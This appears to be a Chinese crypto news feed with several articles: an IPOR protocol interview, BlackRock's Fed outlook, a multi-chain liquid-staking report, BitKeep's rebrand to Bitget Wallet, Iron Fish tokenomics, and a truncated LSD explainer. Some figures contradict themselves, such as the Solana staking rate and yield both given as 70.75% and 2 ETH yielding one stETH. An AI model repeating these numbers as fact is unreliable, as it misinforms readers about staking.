开发者团队来自于企业级软件，资深开发者都拥有超过15年的经验。他们专注于构建安全、简洁、可扩展的软件，因此，将这些开发原则应用于区块链，能为行业带来巨大优势。 最后，我们的产品负责人曾担任4家初创公司的 CTO，目前已经在上海工作生活了8年。 在 IPOR Labs 团队，我们有3位成员拥有博士学位。 · IPOR Protocol 已经吸引了许多投资人，近期又刚刚完成了555万美元的融资。可否请您介绍一下目前有哪些投资人/机构呢？ Darren: 这轮融资由 Arrington Capital 领投，这是加密领域最为知名的投资机构之一。他们在行业内可谓举足轻重，因为他们在稳定币和信贷基建方面跨链投资很多项目。 大家可能听过gumi Cryptos、CMT Digital、GSR，这些都是我们的投资人。其他 VC 参投方包括C² Ventures、 SpaceWhale Capital 和New Form Ventures。战略天使投资人包括 Kava, The Graph, 和 Cardano。 · 您是否有计划开发其他 IPOR 指数，或是在其他链上线？可否分享一下 IPOR 未来的发展规划和项目？ Darren: 正如我前面提及的，IPOR 不是一个以太坊协议，而是一个核心 DeFi 协议。它具有链不可知性。最开始，我们选择了 AAVE 和 Compound，因为它们在指数中的相对权重，两年了，这种情况也没有改变。 然而，以太坊和其他链会出现新的货币市场。随着 FRAX 和 LUSD 越来越受欢迎，算法稳定币的局面现在也大不相同了。 至于扩大覆盖范围，这应该是一项治理决策，因此我们得观察这些协议的流动性在不同链上的增长情况。 基础设施很复杂，因为 LP 收益也来自于这些货币市场。这并不是简单的黏贴复制操作，但是我们已经就技术、如何实现等方面进行探讨。比如 Arbitrum 算是一个候选链，但它很可能交易基于以太坊货币市场利率。 至于新市场，质押 ETH 市场是目前最有趣的一个新市场。然而，就 LSD（流动性质押衍生品）协议关于收益的报告，其规模、波动性、缺乏一致性等问题，许多设计决策和权衡必须进一步研究。这个机会很有趣，但归根究底，协议必须能够为 LPs 管理风险，因此这方面并不着急。 · 最后一个问题算是一个开放性问题。传统银行业和金融由于 SVB 和 Silvergate 危机受到重创。在您看来，在 TradFi 和 DeFi 的利率当前的相关性如何？ Darren: 这两个银行的失败主要可以归结为两个风险管理问题：1. 利率风险 2. 存续期风险。 就 IPOR 而言，这些可以是一个很好的并行结构。IPOR 指数是 DeFi 领域不同期限的资金成本的基准利率。 未来，我们会有 IPOR USDC 1月期、3月期，6月期利率等等。在 DeFi 领域，这对引导收益率曲线和构建期限结构颇为重要。IPOR 利率衍生品是一种工具，允许用户实现利率风险的管理。 这就是我们把 TradFi 基础结构引入 DeFi 的原因。针对 DeFi 信贷市场的增长，这就会需要发展期限结构来理解存续期间风险，同时构建固定收入市场以及利率衍生品来管理风险。 身处加密领域，大家需要留心美联储做的每一个利率决策，因为它会影响一切。现在，是时候关注 DeFi 领域的利率，开始管理这些风险，这就是为什么我们构建 IPOR 的原因，它从未像当下这样，与我们息息相关。  ( 7 min )
    押注美联储降息？贝莱德：市场大错特错了
    来源：华尔街见闻 作者：周晓雯 全球最大资管贝莱德认为，尽管市场预计美联储会降息，但实际上美联储可能不会这样做。 本周，贝莱德经济研究所策略师Wei Li在客户报告中指出，美联储不会因为银行业的困境而停止抗击通胀，相反，他们将进入一个“更加微妙”的阶段，减少对抗但仍不会降息。 该公司策略师在报告中写道，在衰退袭来时急于降息拯救经济，这是央行的“老套路”，但他们预计今年不会发生： 这种损害现在是最重要的，各国央行终于被迫面对它。我们认为，这意味着他们将进入抑制通胀的新阶段，而我们一直在担心这一点。 我们看到，主要央行正在改变“不惜一切代价”的做法，而是进入一个更加微妙的阶段，减少对抗，但仍不会降息。 此外，贝莱德预计，除非出现严重衰退的情况，否则美联储无法成功抗击通胀。因此该公司推荐与通胀挂钩的债券，这种债券能够在一定程度上保护投资者不受通货膨胀的影响。贝莱德还表示，鉴于市场可能会迅速消化降息的影响，超短期政府债券颇具吸引力。 贝莱德补充称，该公司在发达股票市场中持有空头头寸。 在本月欧美银行业一系列巨震下，美联储上周仍宣布加息25基点，表达了抗击通胀的坚定态度。道明证券认为这种在衰退风险加大的情况下继续加息的举措是错误的。 本周，第一公民银行宣布收购硅谷银行，市场围绕银行业的担忧情绪有所缓解，两年期美债收益率继续回升，此前已跌至今年最低水平。 掉期交易显示，投资者已重新计入了美联储在5月加息25个基点的预期，但他们也押注市场尚未完全脱离困境，年底前可能会有65个基点左右的升息。 与此同时，美国2月份核心CPI继续上升，贝莱德认为，最近的经济数据证实了美联储可能“低估劳动市场吃紧导致通胀的顽固程度”： 我们认为，只有在更为严重的信贷危机形成，并导致比我们预期更严重的衰退的情况下，美联储才可能实施市场已消化的降息举措。  ( 4 min )
    多生态LSD发展报告：赛道很宏伟，项目很早期
    上周，我们发布了 LSDFi 生态 /LSDFi War 报告以及上海升级给 LSD 带来的影响的报告，但无论是选择的项目还是思考的背景都是以太坊。这是因为仅以太坊流动性质押带来的资金量就超过 140 亿美元。而今天这篇报告则要探究一下其他公链生态的 LSD 发展情况及玩法，并从数据端观察其他生态 LSD 发展情况，发展趋势，数据背后对 LSD 行业影响，以及关于 LSD 产品设计，正义性的讨论。本次调研公链将包括：BNB Chain，Cardano，Polygon，Solana，Polkadot，Avalanche，Cosmos，Aptos（按照 Coingecko MC 排序前 25 名的部分公链）。 BNB Chain BNB 目前的质押状态跟以太坊类似，质押率为 15.44%（以太坊约为 15.43%），且目前质押平均年化收益约为 2.84%，收益较低。其中 BNB Chain 最大的去中心化质押平台 Ankr，约占流通量的的 0.56%。 BNB Chain 的 LSD 发展慢的原因我认为有以下几点： 1. BNB 原生 DeFi 协议收益性，从 DeFillama 数据中可以看到，仅涉及 BNB 的 337 个交易对中，超过平均年化收益率就占 80%，更何况链上的多种 DeFi 协议，相信绝大部分都是远超质押收益率 2.BNB 效用 ①BNB 也是 Binance 交易所的平台代币，持有 BNB 放置在交易所可以获得手续费折扣以及其他服务 ②同时 Binance 有自己专门的 Launchpad 等服务，这吸引用户将手中的 BNB 放在钱包或者交易所，以最近的 Space ID launchpad 举例，BNB 投入总量达 8,677,923.94 枚，参与人数达 103,598 人。这个数目是 Ankr 的总质押量的近 39 倍。 对于交易型持有者来讲，无论是放在 Binance 获取费用折扣还是在 DEX 参与多种 DeFi 产品，收益和稳定性都要更高。在 BNB Chain，对于 LSD 的潜在远小于 ETH chain。 Cosmos Hub 的质押率约为 61.96%，平均质押收益约为 25.92%，且质押后解除质押需要自申请时等待 21 天。Cosmos 的质押状态相较于 ETH 与 BNB 链极具技术特色，由于 ATOM 仅作为 Cosmos Hub 的通证，在 Cosmos 生态系统内推出的任何应用链都可以不使用 ATOM 代币。因为费用逻辑是每个应用链原生的（开发者选择以何种代币支付 gas），每个应用链都有自己的验证者网络。所以在统计时不能只将 ATOM 链上协议作为统计依据，Stride，QuickSilver 等是拥有自己的链来进行协议搭建的，所以我们将统计 Cosmos 和其生态的 IBC 链上的 LSD 协议（主要聚焦在 ATOM，OSMO，STARS，JUNO，Luna，Evmos）。 从上表格中你可以看到两个有意思的点： 1.为什么 LSD 规模小？ ①Cosmos 生态其实有很多类似 L1 链，但这些生态都暂时无法走出 Cosmos。Cosmos 不是统一的公链，而是通过 IBC 协议但有特殊功能链和 Appchain 链，比如 Kava 与 Osmosis。如 Canto，Juno，Evmos 这种通用链，生态处在起步状态。 Luna 曾在 22 年 3 月 2 日有价值超过 300 亿美元的 LUNA 在各种协议上质押，超过了质押价值 280 亿美元的 ETH，成为主流加密货币中第二大质押资产。当时 Lido 也参与设计了 bLUNA 这种 LSD，但后续发生了 Luna-UST 事件，当时的 Terra 具有丰富的基础设施，LSD 可以用来做 UST 抵押品，借贷等。 ②机会成本：整体看下来，高额收益率带来了机会成本，以 ATOM 为例，如果持有者不质押 ATOM，那么他的机会成本约为 26%，大家可以查看一下 Osmosis 的流动性 列表，高于 26% 的 ATOM LP 只有三个。当然有其他的高收益方法，但都不如直接质押稳定与安全。这也产生一个恶性循环：DeFi 利用率低→收益低于质押→用户减少 DeFi 参与→ DeFi 利用率低 ③空投：Stride，Quicksilver 等 Cosmos 项目在上线时通常会将一定比例的代币直接空投给 Cosmos 代币生态质押者，而据我调查得到的结论是 LSD 中质押好像不能得到空投。所以机会成本进一步增大。 ④流动性风险：ATOM 质押为 LSD 后需要 21 天才能解锁到账（Stride 显示为 21-24 天），不仅是 LSD ，质押节点也受此影响。 但 Cosmos LSD 仍然有极其伟大的前景 1.Cosmos 2.0：链间安全将推动 ATOM 可以作为其他 IBC chain 的安全通证，借助链间帐户 ATOM 的可组合性得到增强，Cosmos 官方将很快支持流动性质押功能，从而提高 ATOM 的流动性。ATOM 价值将进一步提高，对生态内的 DeFi 繁荣将带来直接影响 2. Osmosis 和 Kava 的 DeFi 已经在努力发展，他们将为为 LSD 搭建了更多的借贷和收益类基础设施。 例如，SiennaLend 接受 seSCRT 作为抵押品。 新的 LSD 协议如 Quicksilver，将空投吸引更多持有者的关注。 3.Stride 和 Quicksilver 可以提供代理投票等治理功能，之前会有是由委托节点投票，现在可以直接通过委托给 LSD ，然后让 LSD 统计质押者选择进行代理投票 4.流动性好处：21 天质押的解锁时间可以通过 LSD 获得资金效率 5.外部因素：以太坊上海升级带来的 LSD War 将直接推动 LSD 影响力，将间接推动 Cosmos LSD 发展 6.Cosmos 准备推出流动性质押模型（LSM） 但有一个问题可能 LSD 无法解决，以 QuickSilver 举例，QuickSilver 的质押机制是通过用户自行选择质押节点进行质押，质押后获得 qAssets，这个过程中 QuickSilver 相当于代表用户委托的“中间商”，虽然理论上，“中间商”代表用户质押给的验证者，它直接质押给了节点，是符合生态中项目空投的条件的，但很多空投都有质押额度限制，比如 Stride 空投申领时，最高有效质押额度是 4200ATOM，这意味着 QuickSilver 即使可以代理领取空投，也只能是领取 4200 ATOM 的份额。或许可以通过设计多账户，但仅是猜想，管理单独账户带来的数据风险与技术成本暂时未知。或者 LSD 主动联系项目方要额度，这也只是猜想，项目不可能无缘无故给你额度，除非你能为他们带来好处。 如果你想了解更多关于 Cosmos 生态各质押协议的技术区别，请移步这里。 如果你想了解 Cosmos LSD 发展的历史，请移步这里 Polygon 质押率为 39.92%，平均年化收益是 8.82%，Polygon POS 是一个 EVM 兼容侧链，Matic 在其中充当 Gas 以及被质押给节点完成 POS 共识。12% 的 Matic 将会作为质押奖励。 一个很有意思的点，Polygon 上 Lido 竟然是 APY 最高的，且我在 DeFillama 上搜索，MATIC 交易对，TVL 在 $10M 以上的交易对中，stMatic 涉及四个，这种影响带来的直接后果可能是 Lido 现在以及未来 Polygon LSD 领域的一家独大。 Solana Solana 的网络质押率是 70.75%，平均质押年化收益率是 70.75%，Solana 的验证者数量有 3165 个，委托数量最多的验证者也才占有总质押数量的 2.86%。 在统计过程中，aSOL，Eversol，Socean 等 LSD 项目自 22 年 5 月 TVL 一路下滑，到现在 Twitter 账号已注销无法找到，结局令人唏嘘。以 Stader 为首的新入局者或许会给 Solana LSD 带来新的发展。 Cardano 目前的质押率是 68.73%，质押平均年化收益为 3.26%。距离我上一份 Cardano 生态报告发布时（12 月 18 日：74.05%）下降 7.1%。但 TVL 以 ADA 计价即将突破前高。 Cardano 的特殊技术架构决定 LSD 很难在其生态发展，ADA 在质押期间不会被锁定某一时间段或者需要转移至矿池等。用户质押到 SPO 后，SPO 无法接触你的资产，他们的费用收取是从质押池产生的总奖励中扣除，这就意味着 Cardano 的质押不仅非托管还灵活。而且用户还可以在质押同时来支付或在 DeFi 服务中使用它们，比如用来做 iUSD 抵押品。 另外一点就是，Cardano 是没有罚没的，用户资产不会因为 SPO 的不当行为造成损失。当 SPO 操作失误，网络会取消这一纪元的奖励，多次失误造成的奖励下降会引导用户离开这种不合格的矿池。不过 Cardano 运营商的平均年化是 4.99%，较普通质押用户多 35% 左右，这吸引了很多用户直接去做 SPO，且门槛较低，目前有 3206 个质押池。 Avanlance 的网络质押率是 62.05%，平均年化收益是 8.48%。Avanlanche 的技术架构是主网分成了 非技术用户参与链安全的默认方式是 Avalanche Wallet 上的质押中心，通过该场所进行质押只涉及使用 P 链和锁定 AVAX，锁定后，解决质押需要 21 天。委托 AVAX 后，验证的奖励将累积到你提供的 P 链地址。所以 LSD 项目要做的是在使用 C 链上的可替代资产来发行质押头寸的合成替代资产。所以这存在一定的技术难度，需要 LSD 设计合约连接 P 链的 AVAX 与 C 链的 LSD。我目前只找到了两个 LSD 项目，其中 Benqi 的 sAVAX 占据决定领导地位。 LSD 龙头 Benqi 占有流通 AVAX 的 1.7%，且 sAVAX 流动性很强，无论是借贷（循环借贷提高收益）， LP 和其他 DeFi 产品都不少。 但 Avanlanche 的 DeFi 发展较好，抛去 $635.75m 的 Wonderland，TVL 也接近 $830.91m，各种 DeFi 产品都可以在 Avanlanche 找到。 Avalance 的 DeFi 竞争格局有一个独特点：Top 15 的 DeFi 中 AAVE，Curve，Beefy 这些是迁入者，其中 AAVE 直接拿走 36.95% 得市场份额，原生借贷 Bneqi 发展了多业务规模也才不到 AAVE 的 80% ，而自有生态的 GMX，Stargate 选择多链发展，在其他链混的也风生水起，比如 GMX，直接在 Arbitrum 上当老大，份额占 32.96%。且 TVL 100M 以下，断层式发展，GMX 和 Stargate 之间 TVL 相差一半还多。 但为什么 LSD 就就这么少呢？除了技术原因，这种 DeFi 格局可能也是一个影响因素，自有的老 DeFi 忙着多链发展，新进来的多链 DeFi 往往是单一业务，对于他们来讲，如果开阔新的 LSD 业务，也大都从自己的原生发展链开始。这对于新的原生的单纯做 LSD 业务的项目来讲可能从竞争力和资源合作角度带来困难。 如果你想了解 Avanlanche 的具体质押机制请移步这里。 Polkadot 的质押率是 47.05%，质押年化收益是 15.29%， 质押锁定 28 天。Polkadot 的共识机制是 NPOS（提名权益证明），具有验证者和提名者两种角色，验证者需要运行验证节点，提名者通过选择优秀的验证人并质押 DOT 支持验证者的工作来获取收益同时保护网络。如果被提名的验证者遵循网络规则维护了网络安全，提名者则可以分享他们产生的质押奖励。反之，验证者行为不当，验证者将被罚没，用户也会失去 DOT 奖励。 而 PolkaDot 的另一个特色是其卡槽拍卖机制：其允许多条专用区块链在安全的、无信任环境中相互沟通，从而实现了区块链的可扩展性。平行链与中继链相连，这就需要平行链插槽。简单理解就是中继链是插座，平行链是电器，插座孔位有限需要通过拍卖竞争，所以项目发明了众贷（Crowdloan，PLO），项目方向市场募资参与拍卖，成功后获得带项目 Token 奖励。但不参与拍卖的项目也可以使用 Parathread 机制，相较于平行链区别就是这个需要按量付费，平行链是无限免费使用。下图是 PLO 的一些案例，由于 Crowdloan 的存在，在收益率上，LSD 吸引力有些不足，很多 DeFi 围绕 PLO 建立。 Lido 在 3 月 15 日，正式暂停了 Polkadot 与 KSM 质押存款，我查阅当时的提案，其中提案发起人 soyome（Lido 合作商 MixBytes 负责人）和 Marin（Lido 的 BD）的评论如下： 大概意思就是 Polkadot 内的 DeFi 生态系统仍然相对不发达，限制了 LSD 的潜在应用和好处还有一些市场和运营问题。因为 PolakaDot 生态比较复杂，我对其只进行了简单研究，不过分深究其生态发展带来的原因。但搜集资料时，很多关于 Polakadot 以及众贷的文章都发表于 21 年和 22 年，最近的新文章确实很少。Messari 发表的报告《State of Polkadot Q4 2022》或许会给我们一些答案。 根据 Aptos Explorer 的数据，Aptos 的节点质押量占 $APT 供应量的 82.5%，矿工平均年化收益在 7% 左右，在调查过程中，我们实际发现了很多 Aptos 相关的 LSD 项目，但大部分都在 2022 年 10 月后，停止其 Twitter 更新，这些项目网站暂无法打开，且 Aptos DeFi 的目前 TVL 仅有 $37M，相应的 LSD 基础协议更少。且从 Pancake，Liquid Swap 的 LP 池来看最高的一个池 APY 能到 10%+（whUSDC-tAPT LP），其余都是 2.78% 以下。不过tAPT 和 stAPT 的持有者分别达到 45.2K，29.9K，这个数目远高于其他生态同规模 LSD 。 理论上 Aptos 和 Sui 都属于 Move 生态，LSD 协议能管理 APT 也就能管理 SUI，Sui 主网将于 Q2 上线，届时会不会促进 Move 生态的 DeFi 发展从而为 LSD 创造更多基础设施及用例呢？这值得期待。 1.从 Lido，Stader，Bifrost 等 LSD 的多链规划中可以看出，LSD 业务多链化是一个必然趋势，仅从质押角度出发，只要 POS 机制，理论上都可以创建 LSD。但从以上这些项目的案例中，绝大多数 LSD 项目应该是从某条链或者某生态起步后再开始做其他公链。 2.操作性问题：在整理数据的过程中，很多 LSD 项目 UI 体验非常差，另外，很多项目的 LSD 有很多 Use Case，但不告诉用户如何使用，整体 UX 体验很差。 3.CEX 是一个绝不能忽略的因素，作为 Web3 最大的流量入口也是各种 Token 的汇集地，以 Coinbase 为例，仅 CBETH-ETH 带来的交易量高达 $8.4M，除流动性外，这也将影响 token 投机者对 LSD 赛道的更多关注。 4.Aptos 主网上线后部分 LSD 协议停摆也给我们提了一个醒，请注意接下来的即将上线的新 L1s/L2s 生态中的 LSD 协议，选择能持续经营的项目投入自己的资产。 5.最近 FVM 上线，SFT，MFIL，STFIL，HashMix 等 LSD 方案已经准备上线。LSD 已成公链必备 DeFi 协议。 6.通过 LSD 赚取奖励分成，或者接入 LSD Pool 以及 LSD DeFi 产品可以提供真实收益，对于综合性 DeFi 来讲，LSD 业务或许会成为老 DeFi 的收入新增长点。 7.MetaMask 在一月宣布开放以太坊质押功能，目前属于 Beta 测试版。而在 Cosmos，Keplr 钱包则是很多人质押资产的入口，Cardano 上也有类似的质押 SPO 的钱包入口，LSDFi 项目的 BD 或许可以把合作对象放在钱包端。 讨论（主观观点区） 无论我之前做的各种分析，都是基于一点：持有者会追寻稳定以及高额的收益？但忽略了一点：质押的正确性，参与治理与维护网络安全性，POS 或者改动的 POS 机制的主要质押目的是为了维护网络安全，但实际上，大多数公链的一开始融资环节，以及测试网阶段，节点的去中心化分布以及 Token 的基本分布就已经确定。其次是治理，cosmos 的 Stride 和 Quicksilver 的代理投票解决方案是一个很好的案例，获取收益，且能参与治理。 LSD 有必要去组合来获取收益吗？我无法直接回答，但我想到了两个案例： ①在非洲一些金融设施落后的小国，你应该担心的是货币胀问题，但如果你在华尔街，你想的更多会是创造出更高的金融工具和金融产品。 ②市场上有很多效用微乎其微的 Token，算起来完全可以超千亿左右的规模，而 LSD 背后是加密世界第二价值货币 ETH，无论是实际价值还是稳定性都可以承载更多产品的开发，有什么理由放弃 LSD 这块阔的市场 ？现在熊市 ETH FDV都有 2000 多亿美元，那么 LSD 想象空间多大？ ③其他链的 LSD 有必要吗？有，LSD 可以促进一个生态的网络质押，提高网络安全性，同时为 DeFi 提供流动性，促进生态内 DeFi 的发展。 LSD 之战的最大影响者可能是节点运营商和 CEX，Lido 作为最大的 lSD 龙头仅持有 ETH 生态 4.87% 份额，而在一些生态，比如 Cosmos 的 $ATOM，大运营商可能委托超过 4.4%（stake.fish）的 ATOM，而 Binance，Kraken 等节点 ATOM 持有量也远超 LSD 项目，下图中圆圈标出的 VC 自有节点的筹码也可能成为 LSD War 的影响因子。 非 POS 网络原生资产可以做 LSD 吗？没找到合适的案例，但有一个想法，没有了维护网络安全性的需要，利用治理权或许可以设计，Token 锁定后变成 xToken，xToken 代表一定期限后的资产赎回权，也能绑定治理，如果这个协议通过治理决定收益分配，那么可以基于 xToken 开发产品决定收益等。 参考： 质押情况：Staking Rewards，各区块链浏览器 项目情况：Defilillam，公链官网，Twitter，Google 项目数据：各项目官网数据，Coingecko 其余参考资料：KOLs Thread，各种 Blog 以及文章 声明：本文不带有任何投资建议，且具有大量主观看法，部分数据并不完整。  ( 10 min )
    BitKeep披露2023新路线图，更名为Bitget Wallet并强化安全体系
    近日，亚洲最大的 Web3 多链钱包 BitKeep 发布其 2023 年新战略路线图，宣布进行全面的品牌升级，将更名为 Bitget Wallet。在接下来的几周内，BitKeep 将推出全新的 logo，并对 App、网页端及插件版的视觉风格进行全面更新；此外，BitKeep 还宣布进行管理团队的重组，同时专注于提升整体安全系统的性能。 BitKeep 继续独立运营，加固安全风控体系 一周前，加密衍生品交易所 Bitget 完成向 BitKeep 追加投资 3000 万美元，成为其控股股东，宣布双方进行业务领域的整合，在扩大 Bitget 服务范围的同时，在产研方面，帮助 BitKeep 提升产品的稳定性和安全性，在全球市场拓展中，为 BitKeep 提供资源支持。双方将共同发挥各自优势，构建连接中心化与去中心化世界的桥梁。 经过此次升级，BitKeep 将依托 Bitget 构建的安全体系和资金保护措施，共享 3 亿美金的 Bitget 风险保障基金，强化抗风险能力，为用户资金安全保驾护航。此外，BitKeep 推出一系列安全措施，包括全面加固客户端、实施更严格的预发布审核流程、升级 APK 包增加 MD5 校验，以及采用业界领先的一机一密加密算法以提升通信安全等等。 在与慢雾团队合作的基础上，BitKeep 引入 Certik 作为安全审计新伙伴。目前 BitKeep 已完成 Swap、NFT 市场协议核心代码的安全审计；同时上线了连接硬件钱包的二维码协议，使移动端版本能够集成主流硬件钱包，力求在安全性和便利性之间实现最佳平衡。 同时，BitKeep 宣布已全额赔偿去年 12 月安全事件中所有受影响且符合赔付条件的用户。 在 Bitget 投资成为控股股东后，BitKeep 将仍保持独立运营及独立组织架构。管理架构方面，原联合创始人之一兼 CEO Kevin Como 将卸任，由首席产品官 Karry Cheung 接任 CEO 职务。下个阶段，BitKeep 将打造以产品为核心的高效团队，部分 Bitget 优秀人才将加入 BitKeep 研发和安全团队，共同提升钱包的服务稳定性和安全性。 BitKeep 自 2018 年创立以来，已走过四年多的历程，作为一个去中心化钱包和 Web3 资产交互平台，为用户提供资产存储、多链兑换、NFT 交易、DApp 浏览器、Launchpad 等多种功能。现如今，BitKeep 在全球范围内覆盖 168 个国家与地区，吸引了超过 950 万用户，成为世界领先的去中心化多链钱包之一。 加密行业一路螺旋式发展，相比十多年前的比特币时代，如今早已气象万千。DeFi 底层金融框架逐步搭建，繁荣的去中心化生态已初具规模，在多链生态下衍生出许多有实际需求的应用场景。行业不断迭代，生态系统日益丰富，吸引了越来越多的投资者、开发者、创业者，对钱包等基础设施工具提出了更高的要求。如今，钱包已不再只是简单的存储工具，而是承载着一个生态系统，为用户进入 Web3 世界提供便捷的途径。 在过去几年，BitKeep 积极适应变化的市场，不断拓展服务范围，满足用户多样化的需求。BitKeep 是用户进入 Web3 世界的入口，参与 DeFi 挖矿，玩 GameFi 链游，买最潮的 NFT 小图片，投身创作者经济，体验 X 2 Earn 的元宇宙；BitKeep 是用户在链上交互喜爱的工具，在链与链之间自由交换，寻找着热门资产。BitKeep 始终走在 Web3 创新的最前沿，为用户和热门资产、公链生态之间架起桥梁。 Bitget Wallet：更快交易，更优资产，你未来的交易钱包 新的品牌将继续秉承 BitKeep 定位，为用户提供安全、便捷和高效的数字资产管理服务，同时，也致力于成为未来 Web3 用户最受欢迎的交易钱包之一，让用户享受更快交易，更优资产。 着眼未来，BitKeep 将继续丰富产品功能，探索和研究 MPC（多方计算）和 AA（账户抽象）领域。此外，BitKeep 正开发与 Web3 DID（去中心化身份）相关的功能，积极支持 ZK-Rollup 生态建设。同时，BitKeep 还在投入研发 MPC 钱包，实现私钥分片，并采用 2/3 门限签名方案，在保持去中心化的前提下，解决私钥管理单点风险的问题，并为用户提供无需记忆助记词/私钥的使用环境。 对于此次和 Bitget 的强强联合，BitKeep 首席运营官 Moka Hahn 表示：“加入了 Bitget 大生态，我们会有更多优势资源来不断优化和迭代产品，继续践行创新，探索更多潜在的技术突破和应用场景，在全球范围内进一步推动 Web3 技术的普及和应用，我们也会更有信心在全球市场竞争中走得更远、更高，在日益激烈的市场竞争中保持领先地位。” 对于选择和 BitKeep 合作的原因，Bitget 董事总经理 Gracy Chen 回应：“我们注意到，去中心化的资产存储和 Web3 入口级应用的需求持续上升，BitKeep 的产品功能和用户体验一直备受好评，我们从 2021 年开始就投资了 BitKeep，此次增资控股也代表了 Bitget 对钱包赛道的重视，希望能整合优质资源，为下一个 10 亿用户的市场增长做准备。” 不论应用如何变迁，承载应用的基础设施永远长青，在日益更新变迁的钱包赛道，BitKeep 一直在做更新的自己，在挑战新高度的自己。 再见 BitKeep，你好，Bitget Wallet！  ( 5 min )
    Web3隐私平台Iron Fish公布其代币经济学：创世块将释放4200万枚代币
    PANews 3月29日消息，Web3 隐私平台 Iron Fish 公布了该项目的代币经济学细节。创世块将释放 4200 万枚代币，它们将按如下方式分配： Iron Fish基金会：18%； 空投给测试网参与者：2.25%； 对于未来的空投：2.25%； 种子前系列投资者：5.1%； 种子系列参与者：9.9%； A轮融资投资者：14.5%； 顾问：0.6%； 核心开发团队：37.4%； IF 实验室：5%； 捐赠基金：5%。 主网预计将于 4 月 20 日启动。对于每个内部人员，在主网上线后提供一年的锁定期。在接下来的 12 个月内，此类代币持有者将有资格在每个月内进行转让。未来，代币释放量将逐渐减少，直至达到 256,970,400 IRON（150 年）。 此前报道，隐私网络Iron Fish将向测试网参与者发放94万枚主网代币空投。Iron Fish曾于2021年完成2760万A轮融资，A16z领投。 相关阅读：Iron Fish 让所有加密货币交易，都能以合规的方式进行私有化。  ( 4 min )
    以太坊Shapella时刻临近，LSD赛道蓄势待发
    来源：DroomDroom 编译：比推BitpushNews Mary Liu 以太坊将在 4 月 12 日迎来“Shapella 升级”（上海升级“EIP-4895”），之前锁定的验证者代币被解锁，将大大增加以太坊的流动性，最近几个月，流动性质押平台吸引了大量关注，其中 Liquid Staking Derivative （流动性衍生品质押：LSD）为与传统质押相关的问题提供了独特的解决方案。 Liquid Staking Derivatives（LSD）是 DeFi 领域的最新创新，它允许用户在保留对其资产的访问权限的同时赚取质押奖励，LSD平台通过代币化运作，可用于整个 DeFi 生态系统的借贷、交易和抵押品。通过LSD，用户和投资者可以随时访问他们的抵押代币，接收代币化资产或衍生代币；也可用于外部交易，最大化潜在收益，同时获得与资产抵押相关的奖励，创造多种收入来源。 在本文中，我们将讨论什么是流动性质押/衍生品/LSD，概述LSD的一些优势与风险以及加密市场中的一些顶级 LSD。 要完全理解 LSD 背后的机制，我们需要研究两个概念：流动性质押（Liquid Staking）和衍生品（Derivatives）。 质押是指用户在特定时期内锁定其资产，这意味着他们很可能会错过通过交易代币获利的机会。 然而，流动性质押的发展允许代币持有者获得质押奖励并按照个人意愿使用他们的代币。这确保了质押者可以获得质押奖励并有机会在外部交易中使用代币，进一步帮助他们最大化回报并产生多种收入来源。 流动性质押是传统质押的高级或更新版本，可在智能合约协议上使用。 为了保证区块链的安全，利益相关者承诺他们的资金，同时仍然可以随时使用这些资金。 衍生品被简单地定义为两方之间的合约。 它们是由基础资产（质押代币）支持的金融工具。 该基础资产或质押代币代表您质押资产的价值。衍生品的价格由标的资产或质押的代币价值波动决定。 LSD 是确认和验证质押者参与质押池的代币。 这些代币可用于整个 DeFi 生态系统的借贷、交易和抵押。 LSD 利用代币化的概念来确保参与者或利益相关者可以从衍生品中获益，以及与代币抵押相关的利益。 LSD 为质押者质押任意数量的代币提供了平台，作为回报，他们获得了可用于其他 Defi 协议的衍生代币。 此外，LSD 允许投资者在将其抵押资产用作其他 DeFi 协议中的抵押品时产生回报。 LSD 的一个主要优点是它们允许用户获得质押奖励，而无需长期锁定他们的代币； 然而，由于加密资产的波动性，长期锁定代币并不总是会带来正回报。 最后，质押者可以获得质押奖励，保留对资金的使用权并利用市场价格波动。 我们已经知道，当代币被质押时，它们会被锁定一段时间，因此在这段时间内它们不能被交易或提取。 然而，LSD 的发展正在改变这种说法，因为它允许用户质押任意数量的资产并取消质押，而不会对初始存款产生任何影响。 这是因为存款被锁定在流动性质押平台上，并且向用户发行了该加密资产的代币化版本（即衍生代币）。 这些衍生代币具有与用户存款等值的价值，并且与原始质押资产一比一锚定。 然而，为了更好的识别它们，它们被赋予了不同的代号。 例如，如果您将 2ETH 存入流动性质押服务，您将收到一个 stETH 作为衍生代币，该衍生代币可以在其他地方进行交易、消费或存储。 这允许用户通过交易衍生代币获利的同时，从他们的初始存款中获得质押奖励。 下面这个例子可以更清楚地了解 LSD 的机制，： 您手中目前有 20,000 美元，您决定将其带到LSD平台并将其质押在资金库中 3 个月； LSD平台给了您相当于您锁定的 20,000 美元的代币。 使用这些代币，您可以支付账单、执行交易—相当于20,000 美元可以做的所有事情。 在 3 个月结束时，您将取回 20,000 美元和与锁定期间相关的奖励，您还将获得使用代币作为法定货币期间赚取的利润。 这种情况下，您锁定的 20,000 美元是质押代币，20,00 美元的代币就是您的衍生代币。 1. 提倡和鼓励质押活动，质押代币使网络更加安全和稳定。 权益证明网络的安全性、网络上验证者的数量以及他们投入的资金量之间存在直接关系。 因此，网络上验证者的数量越多，质押资本的增加量就越大，网络变得越强大、越安全。 然而，用户在质押期间无法访问其质押的代币仍然是局限性，这就是LSD概念的用武之地。LSD 通过发行代币化版本或衍生品提供了独特的解决方案。这项创新还增加了质押活动，因为质押者现在有信心，无论何时质押其资产，他们都会获得可用于其他活动（如借贷和交易）的衍生代币。 2. 获得多种收入来源 有了 LSD，利益相关者现在可以将他们的资金或资产锁定在一个平台上，并继续使用代币化版本或衍生代币作为抵押品，以获得加密支持的贷款。 这些贷款以更高的收益率存入，以产生更多的投资回报率 (ROI)。 1. 削减（Slashing） 毫无疑问，流动性质押衍生品有许多令人兴奋的好处和回报，但这并不意味着它没有风险。 一个常见的缺点是削减带来的经济损失风险。 罚没机制通过验证器（处理和验证区块链上交易的某人或网络节点）来规范和检查不当行为（例如双重签名和验证器停机）。 每当检测到不当行为时，无论是有意还是无意，都会丢失一定比例的验证者代币。 2. 智能合约风险 另一个常见的风险是智能合约风险。 尽管众所周知区块链技术是安全的，但我们必须承认，有时存在漏洞，入侵者可以利用他们的资金和资产来利用用户。 3. 如果用户在交易或交易中丢失了他们的代币化资产/衍生代币，他们可能会失去他们的质押资金，而取回质押资金的唯一方法是再进行一次等值存款。 以下是加密领域的一些顶级流动性质押协议。 这些 LSD 有其独特的产生流动性的机制和方法。 1. Lido Finance的 stETH Lido Finance 的衍生品是 stETH（st 的意思是 staked质押）。Lido Finance 是最流行的流动性质押协议。 原生代币 (LDO) 是用于支持 ETH 